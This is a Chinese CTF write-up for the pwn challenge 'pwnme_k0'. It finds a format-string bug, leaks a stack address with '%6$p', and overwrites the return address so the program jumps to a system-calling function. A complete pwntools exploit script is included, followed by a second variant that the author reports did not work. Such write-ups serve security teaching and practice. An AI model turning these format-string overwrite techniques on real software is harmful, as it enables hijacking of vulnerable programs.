ctf wiki

题目:三个白帽 - pwnme_k0

检查代码保护:

可以看出程序主要开启了 NX 保护以及 Full RELRO 保护。这我们就没有办法修改程序的 got 表了。

运行代码:
猜想代码逻辑,和可能的漏洞。

发现存在有格式化漏洞,而且有两个点。用户名和密码, 用IDA直接分析这部分

IDA分析:


通过覆盖ret地址来执行shellcode, 首先远程服务器默认开启ALRS ,可以先泄露sub_400b07 ret 地址 , 然后再将其覆盖

同时发现了 callsystem函数

动态调试:
将断点打到显示密码观察栈区。栈顶指向的指针为调用函数的栈底,第二个为返回地址,如果我们控制到返回地址,就控制了程序的运行。再从IDA可知,打印的str也是已调用函数的栈底为准。所有我们需要泄露调用函数的栈底,使用格式化参数 %6$p (六个参数放入寄存器)。泄露以后算ret与栈底的偏移(0xf20-0xee8),覆盖地址,任务完成。

EXP:

from pwn import *
context.log_level="debug"
context.arch="amd64"sh=process("./pwnme_k0")
binary=ELF("pwnme_k0")
#gdb.attach(sh)sh.recv()
sh.writeline("1"*8)
sh.recv()
sh.writeline("%6$p")
sh.recv()
sh.writeline("1")
sh.recvuntil("0x")
ret_addr = int(sh.recvline().strip(),16) - 0x38
success("ret_addr:"+hex(ret_addr))sh.recv()
sh.writeline("2")
sh.recv()
sh.sendline(p64(ret_addr))
sh.recv()
sh.writeline("%2218d%8$hn")sh.recv()
sh.writeline("1")
sh.recv()
sh.interactive()

题做出来了 ,按道理这道题应该是完了 ,前面说了这里有两个点 ,username 和passwd ,说如果只用一个能不能做出这道题呢(假设username是没有漏洞的)。
思路还是一样通过覆盖ret地址达到我们的效果。

开始分析:

  1. 如上我们有了ret_addr ,
  2. 找到passwd的地址
    同样的断点,我们寄存器中找到passwd的栈地址,0x7fffffffdf04 ,与栈底df20 的偏移为0x1c,为了对齐八字节多输入4字节。

    同样与IDA相符,
  3. payload = flat( [ “A”*4,ret_addr, %2202d%11$hn] )

,,,,,,,炸了 调到2点发现忽略对字符串长度的检验 , 该方法不可行。。。。

三个白帽 - pwnme_k0相关推荐

  1. 三个白帽挑战之我是李雷雷我在寻找韩梅梅系列3——writeup

    Melody有奥妙 · 2016/05/16 17:13 进入,发现index.php既可登录也可注册,随便试了一下admin/admin还真能登录,后来证实其他人注册的.. user.php可以修改 ...

  2. c语言格式化字符漏洞,格式化字符串漏洞题目练习

    整合一下最近做的格式化字符串题目的练习,把wp给写一下,方便对总结对这个漏洞的利用套路和技巧. inndy_echo 保护和arch [*] '/media/psf/mypwn2/buuctf/inn ...

  3. 格式化字符串漏洞利用

    学习资料: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit/                        ht ...

  4. 【转】浅谈php://filter的妙用

    php://filter是PHP中独有的协议,利用这个协议可以创造很多"妙用",本文说几个有意思的点,剩下的大家自己下去体会. XXE中的使用 php://filter之前最常出镜 ...

  5. 白杨SEO:从5118站长工具备案内参发现百度SEO批量建站优化玩法

    前言:这是公众号白杨SEO原创第358篇.为什么想到写这个?本来想写一个SEO工具的,但在用5118备案查询时,发现了一个SEO批量建站站群玩法.它的相关关键词排名还不错,特意拆解分享出来,供参考学习 ...

  6. 微软公司招聘智力题目

    微软公司招聘智力题目 很有意思大家可以试试!微软公司招聘智力题目 1.某手机厂家由于设计失误,有可能造成电池寿命比原来设计的寿命短一半(不是冲放电时 间),解决方案就是免费更换电池或给50元购买该厂家 ...

  7. 逻辑学导论第11版练习题

    题目 在某监狱中有三个囚犯,第一个囚犯视力正常,第二个囚犯只有一只眼,第三个囚犯是个完全的盲人.监狱看守对三个囚犯说,现有三顶白帽子和二顶红帽子,他将选择其中的三顶戴在他们头上.没有人可以看见他自己所 ...

  8. 数学文化赏析MOOC笔记【2023】

     主讲人:张文俊(深圳大学) 参考教材:<数学文化赏析> 目录 01 数学之魂 一.数学的对象与内容 二.数学的思想与方法 三.数学的特点与地位 02 数学之功 一.数学的功能 二.数学的 ...

  9. 两顶白帽子和一顶红帽子_自我发展:我如何不戴两顶帽子并找到第三顶帽子

    两顶白帽子和一顶红帽子 Hi all! I lead antispam team and several machine learning teams at Mail.ru Group. The su ...

最新文章

  1. LVS集群---做前端调度器搭建使用
  2. Tomcat学习笔记(一)
  3. Matlab 遗传算法gaot、gatbx工具箱安装(出现未找到 ‘initializega‘、‘crtbp‘等错误)
  4. 1、mac:jdk 8下载和安装步骤
  5. 经济学入门书籍选择参考(业余爱好者)
  6. 百度wz开户竞价推广如何做到降低平均点击价格
  7. 冲刺大厂每日算法面试题,动态规划21天——第十四天
  8. Scrapy教程经典实战【新概念英语】
  9. 论文参考文献生成代码(2021.2.25)
  10. 2019-2020中国互联网趋势报告
  11. 极智AI | 全场景算力产品矩阵 看算能系列AI产品
  12. 修改Recovery中的文字提示(二)
  13. 单片机之FPGA选修部分基础了解
  14. CSDN:0分下载的技术资料的地址列表(带链接)方便大家下载啦!第六期
  15. 什么是SOA(service-oriented architecture)?
  16. 把一个页面进行四等分
  17. 微型计算机控制系统设计方法,第3章 机电一体化中微型计算机控制系统及接口设计...
  18. 欢迎更多的需要毕设和接毕设的加入! Android/Java毕业设计——唯一QQ群:639813324
  19. 2019最近计算机毕业设计-题目汇总大全-系列5
  20. 重试机制 Retry

热门文章

  1. 南昌大学航天杯第二届程序设计竞赛校赛网络同步赛 - 题解
  2. linux maven .m2文件夹,maven本地仓库.m2文件夹路径讲解
  3. 【二代示波器教程】第10章 示波器设计—数字信号处理
  4. 2022 年总结 山高路远,看世界,也找自己
  5. 遇到无法重现的BUG?两个开源免费录屏工具帮你重现测试过程
  6. 帕金森的药物有哪些?
  7. 2016-我的前端之路:工具化与工程化
  8. 短截线匹配matlab计算输入输出阻抗
  9. PAC十年:见证HPC从CPU时代走向XPU纪元
  10. mysql进入database_MySQL中关于数据库database的那些操作